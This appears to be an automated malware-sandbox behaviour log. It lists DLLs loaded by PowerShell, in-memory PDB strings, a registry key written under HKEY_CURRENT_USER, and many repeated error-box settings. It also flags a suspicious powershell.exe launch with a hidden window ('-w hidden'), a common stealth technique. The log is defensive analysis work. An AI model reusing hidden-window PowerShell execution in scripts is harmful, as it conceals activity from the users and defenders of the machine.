Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\Microsoft.Powershell.PSReadline.pdb2]xU source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdbY source: powershell.exe, 00000006.00000002.1716592666.000001BB7EA32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadLine.PDB source: powershell.exe, 00000006.00000002.1717866725.000001BB7EB64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000006.00000002.1717866725.000001BB7EB64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Powershell.PSReadline.pdbpdbine.pdb source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000006.00000002.1716838402.000001BB7EA6D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1717479831.000001BB7EAD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb. source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.Powershell.PSReadline.pdb: source: powershell.exe, 00000006.00000002.1717866725.000001BB7EB64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1716592666.000001BB7EA32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B8A4C02 push eax; iretd	6_2_00007FFD9B8A4C69
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B8B095D push esp; retf	6_2_00007FFD9B8B095E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B8A776A push eax; iretd	6_2_00007FFD9B8A786D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\3F8E9C71781CC56F1C2A 82BCF176D913F0776418319F42DC5D04ED32E1FA7228CC3802D41E62B5147256

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
